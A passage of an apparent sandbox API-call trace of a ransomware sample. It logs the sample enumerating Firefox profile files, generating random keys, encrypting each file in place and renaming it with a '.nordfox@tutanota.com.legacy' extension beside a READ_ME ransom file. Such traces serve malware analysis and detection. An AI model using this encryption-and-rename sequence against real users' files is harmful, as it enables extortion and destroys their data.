ftCreationTime.dwLowDateTime=0x40c5e7c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40e6e0c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfd2de61f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d48b0 [0199.855] SetLastError (dwErrCode=0x12) [0199.855] GetLastError () returned 0x12 [0199.855] SetLastError (dwErrCode=0x12) [0199.855] GetLastError () returned 0x12 [0199.855] SetLastError (dwErrCode=0x12) [0199.855] FindNextFileW (in: hFindFile=0x30d48b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c5e7c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40e6e0c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfd2de61f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0199.855] SetLastError (dwErrCode=0x12) [0199.855] GetLastError () returned 0x12 [0199.855] SetLastError (dwErrCode=0x12) [0199.855] GetLastError () returned 0x12 [0199.856] SetLastError (dwErrCode=0x12) [0199.856] FindNextFileW (in: hFindFile=0x30d48b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40c7227, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xcdbd0100, ftLastAccessTime.dwHighDateTime=0x1d1e9c5, ftLastWriteTime.dwLowDateTime=0xcdbd0100, ftLastWriteTime.dwHighDateTime=0x1d1e9c5, nFileSizeHigh=0x0, nFileSizeLow=0xd81c8, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="gmpopenh264.dll", cAlternateFileName="GMPOPE~1.DLL")) returned 1 [0199.856] SetLastError (dwErrCode=0x12) [0199.856] GetLastError () returned 0x12 [0199.856] SetLastError (dwErrCode=0x12) [0199.856] SetLastError (dwErrCode=0x12) [0199.856] FindNextFileW (in: hFindFile=0x30d48b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40e6e0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc7554a80, ftLastAccessTime.dwHighDateTime=0x1d1e848, ftLastWriteTime.dwLowDateTime=0xc7554a80, ftLastWriteTime.dwHighDateTime=0x1d1e848, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="gmpopenh264.info", cAlternateFileName="GMPOPE~1.INF")) returned 1 [0199.856] SetLastError (dwErrCode=0x12) [0199.856] GetLastError () returned 0x12 [0199.856] SetLastError (dwErrCode=0x12) [0199.856] SetLastError (dwErrCode=0x12) [0199.856] FindNextFileW (in: hFindFile=0x30d48b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2de61f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfd2de61f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfd2de61f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0199.856] SetLastError (dwErrCode=0x12) [0199.856] GetLastError () returned 0x12 [0199.856] SetLastError (dwErrCode=0x12) [0199.856] SetLastError (dwErrCode=0x12) [0199.856] FindNextFileW (in: hFindFile=0x30d48b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2de61f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfd2de61f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfd2de61f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0199.856] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0199.856] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0199.857] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info", dwFileAttributes=0x80) returned 1 [0199.857] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c3c [0199.857] GetFileSizeEx (in: hFile=0x1c3c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=116) returned 1 [0199.857] ReadFile (in: hFile=0x1c3c, lpBuffer=0x5698c8, nNumberOfBytesToRead=0x74, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5698c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x74, lpOverlapped=0x0) returned 1 [0199.858] SetFilePointer (in: hFile=0x1c3c, lDistanceToMove=-116, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.858] WriteFile (in: hFile=0x1c3c, lpBuffer=0x5611c0*, nNumberOfBytesToWrite=0x74, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5611c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x74, lpOverlapped=0x0) returned 1 [0199.859] SetFilePointer (in: hFile=0x1c3c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x74 [0199.859] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.859] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.859] WriteFile (in: hFile=0x1c3c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.859] WriteFile (in: hFile=0x1c3c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.859] CloseHandle (hObject=0x1c3c) returned 1 [0199.859] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.862] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.862] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0199.862] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll", dwFileAttributes=0x80) returned 1 [0199.862] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c3c [0199.863] GetFileSizeEx (in: hFile=0x1c3c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=885192) returned 1 [0199.866] ReadFile (in: hFile=0x1c3c, lpBuffer=0x6f4020, nNumberOfBytesToRead=0xd81c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f4020*, lpNumberOfBytesRead=0x2e1f9bc*=0xd81c8, lpOverlapped=0x0) returned 1 [0199.908] SetFilePointer (in: hFile=0x1c3c, lDistanceToMove=-885192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.908] WriteFile (in: hFile=0x1c3c, lpBuffer=0x3d2a020*, nNumberOfBytesToWrite=0xd81c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d2a020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd81c8, lpOverlapped=0x0) returned 1 [0199.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6f4020 | out: hHeap=0x520000) returned 1 [0199.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3d2a020 | out: hHeap=0x520000) returned 1 [0199.917] SetFilePointer (in: hFile=0x1c3c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd81c8 [0199.917] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.918] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.918] WriteFile (in: hFile=0x1c3c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.918] WriteFile (in: hFile=0x1c3c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.918] CloseHandle (hObject=0x1c3c) returned 1 [0199.918] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0199.918] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0199.918] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e72a0 | out: hHeap=0x520000) returned 1 [0199.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f40d8 | out: hHeap=0x520000) returned 1 [0199.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f41c0 | out: hHeap=0x520000) returned 1 [0199.920] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6af88 [0199.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f68020 | out: hHeap=0x520000) returned 1 [0199.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6b210 | out: hHeap=0x520000) returned 1 [0199.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62fd0 | out: hHeap=0x520000) returned 1 [0199.920] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5b71e56, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfd30db92, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4d30 [0199.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578700 | out: hHeap=0x520000) returned 1 [0199.920] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0199.921] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79430 [0199.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0199.921] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67788 [0199.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79430 | out: hHeap=0x520000) returned 1 [0199.921] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578950 [0199.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67788 | out: hHeap=0x520000) returned 1 [0199.921] GetLastError () returned 0x0 [0199.921] SetLastError (dwErrCode=0x0) [0199.921] GetLastError () returned 0x0 [0199.921] SetLastError (dwErrCode=0x0) [0199.921] GetLastError () returned 0x0 [0199.921] SetLastError (dwErrCode=0x0) [0199.921] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0199.921] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dbe0 [0199.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dbe0 | out: hHeap=0x520000) returned 1 [0199.921] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f631d8 [0199.921] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x30d4970 [0199.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d4970 | out: hHeap=0x520000) returned 1 [0199.921] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0199.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0199.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f631d8 | out: hHeap=0x520000) returned 1 [0199.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0199.921] FindNextFileW (in: hFindFile=0x30d4d30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5b71e56, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfd30db92, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0199.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578950 | out: hHeap=0x520000) returned 1 [0199.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0199.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78b28 [0199.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0199.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67e90 [0199.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78b28 | out: hHeap=0x520000) returned 1 [0199.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578cc8 [0199.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67e90 | out: hHeap=0x520000) returned 1 [0199.922] GetLastError () returned 0x0 [0199.922] SetLastError (dwErrCode=0x0) [0199.922] GetLastError () returned 0x0 [0199.922] SetLastError (dwErrCode=0x0) [0199.922] GetLastError () returned 0x0 [0199.922] SetLastError (dwErrCode=0x0) [0199.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0199.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56def8 [0199.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56def8 | out: hHeap=0x520000) returned 1 [0199.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f62e68 [0199.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x30d4e30 [0199.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d4e30 | out: hHeap=0x520000) returned 1 [0199.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202a0 [0199.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202a0 | out: hHeap=0x520000) returned 1 [0199.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62e68 | out: hHeap=0x520000) returned 1 [0199.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0199.923] FindNextFileW (in: hFindFile=0x30d4d30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5afa3b9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7c375100, ftLastAccessTime.dwHighDateTime=0x1d1deb2, ftLastWriteTime.dwLowDateTime=0x7c375100, ftLastWriteTime.dwHighDateTime=0x1d1deb2, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LICENSE.txt", cAlternateFileName="")) returned 1 [0199.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578cc8 | out: hHeap=0x520000) returned 1 [0199.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553700 [0199.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78f68 [0199.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0199.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67530 [0199.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78f68 | out: hHeap=0x520000) returned 1 [0199.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578df0 [0199.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67530 | out: hHeap=0x520000) returned 1 [0199.923] GetLastError () returned 0x0 [0199.923] SetLastError (dwErrCode=0x0) [0199.923] GetLastError () returned 0x0 [0199.923] SetLastError (dwErrCode=0x0) [0199.923] GetLastError () returned 0x0 [0199.923] SetLastError (dwErrCode=0x0) [0199.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f62fd0 [0199.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62fd0 | out: hHeap=0x520000) returned 1 [0199.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30f4648 [0199.923] FindNextFileW (in: hFindFile=0x30d4d30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b6f737, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7c375100, ftLastAccessTime.dwHighDateTime=0x1d1deb2, ftLastWriteTime.dwLowDateTime=0x7c375100, ftLastWriteTime.dwHighDateTime=0x1d1deb2, nFileSizeHigh=0x0, nFileSizeLow=0x15c, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0199.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578df0 | out: hHeap=0x520000) returned 1 [0199.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0199.923] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78c38 [0199.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0199.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67788 [0199.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78c38 | out: hHeap=0x520000) returned 1 [0199.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578df0 [0199.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67788 | out: hHeap=0x520000) returned 1 [0199.924] GetLastError () returned 0x0 [0199.924] SetLastError (dwErrCode=0x0) [0199.924] GetLastError () returned 0x0 [0199.924] SetLastError (dwErrCode=0x0) [0199.924] GetLastError () returned 0x0 [0199.924] SetLastError (dwErrCode=0x0) [0199.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63188 [0199.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63188 | out: hHeap=0x520000) returned 1 [0199.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30f3f08 [0199.924] FindNextFileW (in: hFindFile=0x30d4d30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd30db92, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfd30db92, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfd30db92, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0199.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578df0 | out: hHeap=0x520000) returned 1 [0199.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0199.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79298 [0199.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0199.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f673a0 [0199.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79298 | out: hHeap=0x520000) returned 1 [0199.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578828 [0199.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f673a0 | out: hHeap=0x520000) returned 1 [0199.924] GetLastError () returned 0x0 [0199.924] SetLastError (dwErrCode=0x0) [0199.925] GetLastError () returned 0x0 [0199.925] SetLastError (dwErrCode=0x0) [0199.925] GetLastError () returned 0x0 [0199.925] SetLastError (dwErrCode=0x0) [0199.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f631d8 [0199.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f631d8 | out: hHeap=0x520000) returned 1 [0199.925] FindNextFileW (in: hFindFile=0x30d4d30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5afcaea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7c375100, ftLastAccessTime.dwHighDateTime=0x1d1deb2, ftLastWriteTime.dwLowDateTime=0x7c375100, ftLastWriteTime.dwHighDateTime=0x1d1deb2, nFileSizeHigh=0x0, nFileSizeLow=0x58adf8, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="widevinecdm.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 1 [0199.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578828 | out: hHeap=0x520000) returned 1 [0199.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0199.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f795c8 [0199.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0199.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67e90 [0199.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f795c8 | out: hHeap=0x520000) returned 1 [0199.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578388 [0199.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67e90 | out: hHeap=0x520000) returned 1 [0199.925] GetLastError () returned 0x0 [0199.925] SetLastError (dwErrCode=0x0) [0199.925] GetLastError () returned 0x0 [0199.925] SetLastError (dwErrCode=0x0) [0199.925] GetLastError () returned 0x0 [0199.926] SetLastError (dwErrCode=0x0) [0199.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63188 [0199.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63188 | out: hHeap=0x520000) returned 1 [0199.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585608 [0199.926] FindNextFileW (in: 